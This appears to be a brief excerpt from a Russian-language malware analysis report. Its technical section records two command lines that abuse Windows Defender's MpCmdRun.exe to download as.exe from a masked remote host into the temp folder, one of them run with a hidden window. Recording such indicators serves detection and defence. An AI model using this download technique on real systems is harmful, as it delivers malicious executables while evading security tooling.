Техническая информация
- '<SYSTEM32>\cmd.exe' /c %ProgramFiles%\Windows Defender\MpCmdRun.exe -DownloadFile -url http://0.#.0.0/as.exe -path C:\%temp%\as.exe
- '<SYSTEM32>\cmd.exe' /c %ProgramFiles%\Windows Defender\MpCmdRun.exe -DownloadFile -url http://0.#.0.0/as.exe -path C:\%temp%\as.exe' (со скрытым окном)